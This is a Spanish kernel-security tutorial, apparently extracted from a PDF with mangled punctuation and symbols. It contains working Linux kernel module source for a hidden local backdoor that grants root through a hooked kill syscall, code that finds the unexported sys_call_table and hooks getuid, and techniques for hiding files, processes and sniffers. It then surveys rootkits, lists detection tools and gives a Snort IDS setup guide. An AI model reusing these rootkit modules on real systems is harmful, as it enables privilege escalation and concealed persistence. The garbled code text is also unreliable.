backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
